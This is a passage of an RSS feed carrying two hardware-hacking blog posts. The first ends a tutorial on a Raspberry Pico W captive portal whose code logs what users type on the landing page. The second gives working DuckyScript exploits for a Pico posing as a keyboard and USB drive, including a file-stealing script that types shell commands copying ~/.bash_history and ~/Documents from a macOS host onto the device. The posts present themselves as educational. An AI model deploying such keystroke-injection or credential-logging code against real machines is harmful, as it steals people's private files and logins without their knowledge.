  &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Login Attempt &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;success.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Success&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/style.css&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;style&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;style.css&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Content-Type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;text/css&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="nd"&gt;@server.catchall&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;catchall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Not found&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;localtime&lt;/span&gt;&lt;span class="p"&gt;())])&lt;/span&gt;
    &lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;LOG_PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
          &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;starting captive portal ...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;ap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;access_point&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SSID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ifconfig&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;dns&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run_catchall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;access point ip: #&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Follow Up &amp;amp; Related Projects
&lt;/h2&gt;

&lt;p&gt;To improve this project, two aspects come to my mind. First, adding a SSL certificate to ensure an encrypted connection. The phew library itself has no support for certificates, but there is TLS support in MicroPython with the &lt;a href="https://docs.micropython.org/en/latest/library/ssl.html" rel="noopener noreferrer"&gt;SSL/TLS module&lt;/a&gt;. However, this would mean to rewrite the framework to support TLS as well. And the second aspect is to remove the DNS redirects once a client acknowledged the conditions on the landing page. However, this is also not a use case of the phew library.&lt;/p&gt;

&lt;p&gt;Exploring other projects, the idea to implement a captive portal with the Pico W gained some traction in the open-source community.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/mthorley/wifimanager-pico" rel="noopener noreferrer"&gt;Wifimanager Pico&lt;/a&gt;: A standalone GitHub project, it creates a captive portal with a clean UI. The first step is to define the designated WiFi network for which the captive portal stores its credentials. Upon first connection, it will scan all neighboring networks, and the user selects the target and enters the credentials. When the captive portal can connect to the target successfully, its credentials are stored. Then, all new devices that connect will get the stored credentials. It would be interesting to see if information stealing and man in the middle attacks could be realized.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://picockpit.com/raspberry-pi/raspberry-pi-pico-w-captive-portal-hotspot-access-point-pop-up/" rel="noopener noreferrer"&gt;PicoW Captive Portal&lt;/a&gt;: This guide contains valuable information about the specific behavior of clients regarding captive portal webpage URLs and expected status codes. It details how recent Android smartphones, iPhones, Windows and OsX laptops search a captive portal for their credentials. This article continues to implement a captive portal also using the phew project.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/simonprickett/phewap" rel="noopener noreferrer"&gt;phewAP&lt;/a&gt;: An example project using phew to implement a captive portal, showing other features such as how to access the Pico’s hardware to make the onboard LED blink when a button on a webpage is pressed.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;A captive portal is a WiFi hotspot typically encountered at Cafes or hotels. A portal uses HTTP and DNS redirects to emerge upon a landing page. Typically, personal information and acknowledgement of usage conditions is requested on this page, and when acknowledged by the user, full access to the internet is provided. This article showed how to implement a captive portal on the Raspberry Pico W Microcontroller. You learned how to setup the Pico with MicroPython and the phew library, saw how to implement HTTP routes that mimic a captive portal, and understood how to extract device metadata during connection attempts and store personal information that users enter on the landing page.&lt;/p&gt;

</description>
      <category>raspberrypi</category>
      <category>raspberrypico</category>
      <category>hacking</category>
    </item>
    <item>
      <title>Hacking with Raspberry Pico: Terminal Text Injection and File Stealing</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Mon, 18 May 2026 03:52:36 +0000</pubDate>
      <link>https://dev.to/admantium/hacking-with-raspberry-pico-terminal-text-injection-and-file-stealing-51cb</link>
      <guid>https://dev.to/admantium/hacking-with-raspberry-pico-terminal-text-injection-and-file-stealing-51cb</guid>
      <description>&lt;p&gt;The Raspberry Pico is a small form factor microcontroller used in several application areas: DIY sensor capture, controlling screens, and even for hacking. With full access to its USB stack via MicroPython/CircuitPython and an additional library, the Pico can be programmed as a physical hacking device. It will act as an USB HID or storage device, but inject keystrokes into the host system.&lt;/p&gt;

&lt;p&gt;In my previous article &lt;a href="https://admantium.com/blog/micro24_raspberry_pico_usb_hacking" rel="noopener noreferrer"&gt;USB Hacking Device Programming&lt;/a&gt;, I showed how to setup the Pico and run an example exploit script: opening a text editor on a Linux computer and write a text message. Working on this project, I realized that the script is written in DuckyScript. The curiosity about this language, understanding its capabilities and the exploits that can be implemented, led me to investigate it further and write a &lt;a href="https://admantium.com/blog/micro25_raspberry_pico_ducky_script" rel="noopener noreferrer"&gt;concise language introduction&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;And in this final article, practical exploits are developed. The exploits use the &lt;a href="https://github.com/dbisu/pico-ducky" rel="noopener noreferrer"&gt;pico-ducky&lt;/a&gt; library, an interpreter for DuckyScript.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context for this article is &lt;code&gt;CircuitPython v9.1.4&lt;/code&gt; and &lt;code&gt;pico-ducky commit #221e796&lt;/code&gt;. The examples should work with newer releases too, but might require some code changes.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/micro26_rasperry_pico_ducky_script_exploit/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploit 1: Terminal Text Injection
&lt;/h2&gt;

&lt;p&gt;The goal of the first exploit is to scare the user by opening a text terminal. Instead of just blind injecting the keystrokes, it will delay its execution, and assure that no special keys are activated - as an attempt to gauge that the user is not present&lt;/p&gt;

&lt;h3&gt;
  
  
  Requirements
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Waiting for a fixed amount of time&lt;/li&gt;
&lt;li&gt;Wait that no LED keys are pressed on the host&lt;/li&gt;
&lt;li&gt;Open a new terminal&lt;/li&gt;
&lt;li&gt;Inject a message &lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Learnings and Limitations
&lt;/h3&gt;

&lt;p&gt;During implementation of this exploit, I learned the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A global variable cannot be used as an argument to the &lt;code&gt;DELAY&lt;/code&gt; function&lt;/li&gt;
&lt;li&gt;The commands to generate random characters and numbers, like &lt;code&gt;RANDOM_NUMBER&lt;/code&gt;, are not supported&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;WAIT_FOR_CAPS_OFF&lt;/code&gt; and similar commands are not processed, the script execution just continues&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;HOLD&lt;/code&gt; and &lt;code&gt;RELEASE&lt;/code&gt; commands work as normal keystrokes only&lt;/li&gt;
&lt;li&gt;Inserting a not supported command at the end of the script stops the script execution - my choice is simple a &lt;code&gt;STOPP&lt;/code&gt; on the last line&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Implementation
&lt;/h3&gt;

&lt;p&gt;With these limitations, the exploit will merely wait for a fixed amount of time, and then execute once. As a bonus, a function is added that prints a &lt;code&gt;.&lt;/code&gt; on the screen with a fixed delay.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;REM&lt;/span&gt; &lt;span class="n"&gt;Target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;OsX&lt;/span&gt;
&lt;span class="n"&gt;REM&lt;/span&gt; &lt;span class="n"&gt;Exploit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="n"&gt;editor&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;write&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;

&lt;span class="n"&gt;FUNCTION&lt;/span&gt; &lt;span class="nc"&gt;SCARE&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;STRING&lt;/span&gt; &lt;span class="n"&gt;Hello&lt;/span&gt; &lt;span class="n"&gt;World&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;
    &lt;span class="n"&gt;VAR&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;TIMER&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
    &lt;span class="nc"&gt;WHILE &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;TIMER&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;STRING&lt;/span&gt; &lt;span class="p"&gt;.&lt;/span&gt;
        &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;TIMER&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;TIMER&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;
    &lt;span class="n"&gt;END_WHILE&lt;/span&gt;
&lt;span class="n"&gt;END_FUNCTION&lt;/span&gt;

&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;5000&lt;/span&gt;
&lt;span class="n"&gt;GUI&lt;/span&gt; &lt;span class="n"&gt;SPACE&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;
&lt;span class="n"&gt;STRING&lt;/span&gt; &lt;span class="n"&gt;Terminal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;
&lt;span class="n"&gt;ENTER&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1500&lt;/span&gt;
&lt;span class="nc"&gt;SCARE&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;STOP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Exploit 2: File Stealing
&lt;/h2&gt;

&lt;p&gt;The second exploit is built around the feature that the Pico itself can function as an USB device on the host. When inserted, it will act as both a HID and USB storage device. It will then use the hosts native scripting language to identify the home directory of its user, fetch known files, and copy them to itself.&lt;/p&gt;

&lt;h3&gt;
  
  
  Requirements
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Connect the device as HID and storage&lt;/li&gt;
&lt;li&gt;Wait a fixed amount of time&lt;/li&gt;
&lt;li&gt;Start a series of bash commands:

&lt;ul&gt;
&lt;li&gt;Open a terminal&lt;/li&gt;
&lt;li&gt;Determine the likely mount path of the Pico&lt;/li&gt;
&lt;li&gt;Access the host user document folder&lt;/li&gt;
&lt;li&gt;Search and copy known file names&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Disconnect the USB device or hide the copied files&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Learnings and Limitations
&lt;/h3&gt;

&lt;p&gt;Several more limitations became apparent during working on this sketch:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The Pico W defaults to HID only mode. To turn it into an USB device, you need to modify the Pico ducky code. In &lt;code&gt;boot.py&lt;/code&gt; and &lt;code&gt;code.py&lt;/code&gt;, change all conditional checks for the Raspberry Pico W to a &lt;code&gt;False&lt;/code&gt; value, e.g. replacing &lt;code&gt;raspberry_pi_pico_w&lt;/code&gt; with &lt;code&gt;raspberry_pi_pico&lt;/code&gt;. Note that this will disable the WIFI hotspot too.&lt;/li&gt;
&lt;li&gt;There is no support for the &lt;code&gt;ATTACK_MODE&lt;/code&gt; configuration, you cannot dynamically switch between HID only and USB storage mode, and therefore not disconnect the USB drive with a script. However, you could modify the libraries source code so that after the script execution, the function call &lt;code&gt;storage.disable_usb_drive()&lt;/code&gt; is executed.&lt;/li&gt;
&lt;li&gt;When chaining multiple bash commands together, which will take some execution time, using &lt;code&gt;DELAY&lt;/code&gt; become a mandatory command&lt;/li&gt;
&lt;li&gt;You cannot use the &lt;code&gt;STRINGLN&lt;/code&gt; command&lt;/li&gt;
&lt;li&gt;You need to customize the keyboard layout to match the target computers layout, see &lt;a href="https://github.com/dbisu/pico-ducky/tree/main?tab=readme-ov-file#changing-keyboard-layouts" rel="noopener noreferrer"&gt;Changing Keyboard Layouts&lt;/a&gt; in the official documentation&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Implementation
&lt;/h3&gt;

&lt;p&gt;The following implementation assumes that the Pico device will get the &lt;code&gt;/dev/disk2&lt;/code&gt; device file. Without the option to disable USB storage, the Pico will connect and stay connected - but the files are copied nevertheless.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;REM&lt;/span&gt; &lt;span class="n"&gt;Target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;OsX&lt;/span&gt;
&lt;span class="n"&gt;REM&lt;/span&gt; &lt;span class="n"&gt;Exploit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Copy&lt;/span&gt; &lt;span class="n"&gt;well&lt;/span&gt; &lt;span class="n"&gt;known&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="n"&gt;home&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt;

&lt;span class="n"&gt;GUI&lt;/span&gt; &lt;span class="n"&gt;SPACE&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;
&lt;span class="n"&gt;STRING&lt;/span&gt; &lt;span class="n"&gt;iterm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;
&lt;span class="n"&gt;ENTER&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1500&lt;/span&gt;
&lt;span class="n"&gt;ENTER&lt;/span&gt;
&lt;span class="n"&gt;STRING&lt;/span&gt; &lt;span class="n"&gt;export&lt;/span&gt; &lt;span class="n"&gt;TARGET_PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;grep&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;disk2&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sed&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;s/.*\(\/Volumes\/.*\)/&lt;/span&gt;&lt;span class="se"&gt;\1&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1500&lt;/span&gt;
&lt;span class="n"&gt;ENTER&lt;/span&gt;
&lt;span class="n"&gt;STRING&lt;/span&gt; &lt;span class="n"&gt;cp&lt;/span&gt; &lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bash_history&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;TARGET_PATH&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1500&lt;/span&gt;
&lt;span class="n"&gt;ENTER&lt;/span&gt;
&lt;span class="n"&gt;STRING&lt;/span&gt; &lt;span class="n"&gt;cp&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rv&lt;/span&gt; &lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="n"&gt;Documents&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;TARGET_PATH&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;docs&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1500&lt;/span&gt;
&lt;span class="n"&gt;ENTER&lt;/span&gt;
&lt;span class="n"&gt;STOPP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The Raspberry Pico W can be turned into a physical hacking device with the help of the &lt;a href="https://github.com/dbisu/pico-ducky/" rel="noopener noreferrer"&gt;pico ducky&lt;/a&gt; library. This article showed how to implement two exploits: a) scare the user by injecting text into a terminal, b) connect as an USB storage and HID device, then copy well known user files. During implementation, it became apparent that not all DuckyScript commands are supported, which limits the features of exploits. The best approach therefore is to check the &lt;a href="https://github.com/dbisu/pico-ducky/blob/main/duckyinpython.py" rel="noopener noreferrer"&gt;duckyinpython.py file&lt;/a&gt; for all keywords that are supported, and build an exploit around this. But despite this: Turning the very affordable Raspberry Pico into a prototype hacking device is a great educational experience.&lt;/p&gt;

</description>
      <category>raspberrypi</category>
      <category>raspberrypico</category>
      <category>hacking</category>
    </item>
  </channel>
</rss>
